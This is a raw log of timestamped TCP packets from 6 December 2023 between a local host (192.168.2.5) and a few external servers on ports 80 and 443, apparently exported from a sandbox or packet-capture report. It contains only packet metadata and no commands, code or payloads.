Dec 6, 2023 14:33:03.897826910 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.897871971 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.897877932 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.897901058 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.897912025 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.897944927 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.897977114 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.897996902 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898065090 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898101091 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.898113012 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898160934 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898175001 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898196936 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.898219109 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898253918 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.898276091 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898349047 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898361921 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898392916 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.898396015 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898432016 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.898447990 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898458958 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898469925 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898492098 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.898514032 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898542881 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898554087 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898574114 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.898591995 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.898617983 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898631096 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898644924 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898659945 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898662090 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.898699999 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.898720980 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898732901 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898763895 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.898786068 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898797035 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898814917 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898875952 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.898875952 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898889065 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898900032 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898933887 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898942947 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.898943901 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.898947001 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.898992062 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:03.899008989 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.899022102 CET	80	49706	104.21.73.195	192.168.2.5
Dec 6, 2023 14:33:03.899058104 CET	49706	80	192.168.2.5	104.21.73.195
Dec 6, 2023 14:33:04.002224922 CET	49705	80	192.168.2.5	104.21.52.223
Dec 6, 2023 14:33:04.096452951 CET	80	49705	104.21.52.223	192.168.2.5
Dec 6, 2023 14:33:04.952131033 CET	443	49703	23.1.237.91	192.168.2.5
Dec 6, 2023 14:33:04.952856064 CET	49703	443	192.168.2.5	23.1.237.91
Dec 6, 2023 14:33:05.014228106 CET	80	49705	104.21.52.223	192.168.2.5
Dec 6, 2023 14:33:05.069438934 CET	49705	80	192.168.2.5	104.21.52.223
Dec 6, 2023 14:33:07.249046087 CET	49707	443	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:07.249135017 CET	443	49707	172.67.198.151	192.168.2.5
Dec 6, 2023 14:33:07.249253035 CET	49707	443	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:07.254972935 CET	49707	443	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:07.255012989 CET	443	49707	172.67.198.151	192.168.2.5
Dec 6, 2023 14:33:07.460129023 CET	443	49707	172.67.198.151	192.168.2.5
Dec 6, 2023 14:33:07.460241079 CET	49707	443	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:07.573304892 CET	49707	443	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:07.573342085 CET	443	49707	172.67.198.151	192.168.2.5
Dec 6, 2023 14:33:07.573714972 CET	443	49707	172.67.198.151	192.168.2.5
Dec 6, 2023 14:33:07.573781967 CET	49707	443	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:07.576853037 CET	49707	443	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:07.620750904 CET	443	49707	172.67.198.151	192.168.2.5
Dec 6, 2023 14:33:07.705445051 CET	443	49707	172.67.198.151	192.168.2.5
Dec 6, 2023 14:33:07.705559015 CET	443	49707	172.67.198.151	192.168.2.5
Dec 6, 2023 14:33:07.705683947 CET	49707	443	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:07.705683947 CET	49707	443	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:07.707233906 CET	49707	443	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:07.707233906 CET	49707	443	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:07.707304001 CET	443	49707	172.67.198.151	192.168.2.5
Dec 6, 2023 14:33:07.707411051 CET	49707	443	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:07.709414005 CET	49708	443	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:07.709496021 CET	443	49708	172.67.198.151	192.168.2.5
Dec 6, 2023 14:33:07.709628105 CET	49708	443	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:07.710211039 CET	49708	443	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:07.710249901 CET	443	49708	172.67.198.151	192.168.2.5
Dec 6, 2023 14:33:07.912957907 CET	443	49708	172.67.198.151	192.168.2.5
Dec 6, 2023 14:33:07.913220882 CET	49708	443	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:07.921518087 CET	49708	443	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:07.921570063 CET	443	49708	172.67.198.151	192.168.2.5
Dec 6, 2023 14:33:07.921802044 CET	49708	443	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:07.921816111 CET	443	49708	172.67.198.151	192.168.2.5
Dec 6, 2023 14:33:08.172064066 CET	443	49708	172.67.198.151	192.168.2.5
Dec 6, 2023 14:33:08.172125101 CET	443	49708	172.67.198.151	192.168.2.5
Dec 6, 2023 14:33:08.172214985 CET	49708	443	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:08.172251940 CET	49708	443	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:08.173183918 CET	49708	443	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:08.173224926 CET	443	49708	172.67.198.151	192.168.2.5
Dec 6, 2023 14:33:08.321511984 CET	49709	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:08.321554899 CET	443	49709	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:08.321657896 CET	49709	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:08.322355986 CET	49709	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:08.322376966 CET	443	49709	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:08.874172926 CET	443	49709	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:08.874478102 CET	49709	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:08.881799936 CET	49709	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:08.881824970 CET	443	49709	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:08.882237911 CET	443	49709	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:08.882322073 CET	49709	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:08.882824898 CET	49709	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:08.928739071 CET	443	49709	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:09.063851118 CET	443	49709	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:09.063987017 CET	49709	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:09.064017057 CET	443	49709	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:09.064039946 CET	443	49709	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:09.064069986 CET	49709	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:09.064099073 CET	49709	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:09.064105034 CET	443	49709	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:09.064121962 CET	49709	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:09.065201998 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:09.065236092 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:09.065313101 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:09.065677881 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:09.065692902 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:09.613290071 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:09.613401890 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:09.613993883 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:09.614006042 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:09.614239931 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:09.614243984 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:09.985127926 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:09.985157013 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:09.985177994 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:09.985229969 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:09.985274076 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:09.985285997 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:09.985351086 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:09.985476017 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:09.985496044 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:09.985532045 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:09.985538960 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:09.985558987 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:09.985578060 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.168910980 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.168931961 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.168989897 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.169029951 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.169084072 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.169105053 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.169152021 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.169195890 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.348216057 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.348234892 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.348336935 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.348356009 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.348404884 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.348589897 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.348606110 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.348661900 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.348668098 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.348705053 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.349009037 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.349024057 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.349073887 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.349080086 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.349117041 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.349433899 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.349448919 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.349497080 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.349503040 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.349548101 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.529247999 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.529273033 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.529344082 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.529402971 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.529444933 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.529458046 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.529489040 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.529529095 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.529529095 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.529725075 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.529746056 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.529803991 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.529809952 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.529833078 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.529844999 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.530139923 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.530172110 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.530211926 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.530217886 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.530241013 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.530261040 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.530477047 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.530500889 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.530548096 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.530554056 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.530574083 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.530592918 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.530867100 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.530884027 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.530942917 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.530949116 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.530985117 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.531277895 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.531295061 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.531354904 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.531361103 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.531399012 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.531713009 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.531728983 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.531773090 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.531779051 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.531795979 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.531822920 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.532108068 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.532126904 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.532186985 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.532195091 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.532228947 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.532546043 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.532567024 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.532619953 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.532627106 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.532787085 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.712292910 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.712313890 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.712441921 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.712512016 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.712620974 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.712691069 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.712714911 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.712748051 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.712795019 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.712795019 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.712795019 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.713007927 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.713023901 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.713100910 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.713108063 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.713140011 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.713450909 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.713465929 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.713551998 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.713557959 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.713597059 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.713891983 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.713907957 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.713967085 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.713972092 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.713994980 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.714015961 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.714328051 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.714354038 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.714407921 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.714412928 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.714443922 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.714468956 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.714775085 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.714795113 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.714878082 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.714884043 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.714921951 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.715207100 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.715239048 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.715293884 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.715298891 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.715339899 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.715672016 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.715704918 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.715764046 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.715769053 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.715792894 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.715815067 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.716069937 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.716085911 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.716157913 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.716164112 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.716200113 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.716492891 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.716519117 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.716568947 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.716574907 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.716612101 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.716629982 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.716924906 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.716949940 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.717005014 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.717012882 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.717040062 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.717062950 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.717259884 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.717279911 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.717336893 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.717341900 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.717370987 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.717401028 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.717401028 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.717407942 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.717436075 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.717442036 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.717483997 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.717510939 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.717581987 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.717596054 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.717663050 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.717668056 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.717689991 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.717705965 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.717714071 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.717745066 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.717767000 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.717984915 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.718040943 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.718055010 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.718061924 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.718070030 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.718111992 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.718116999 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.718123913 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.718147039 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.718157053 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.718166113 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.718183994 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.718190908 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.718216896 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.718225002 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.718240976 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.718251944 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.718256950 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.718298912 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.718326092 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.897306919 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.897342920 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.897557974 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.897593975 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.897622108 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.897641897 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:10.897650957 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:10.897677898 CET	443	49710	185.23.108.224	192.168.2.5
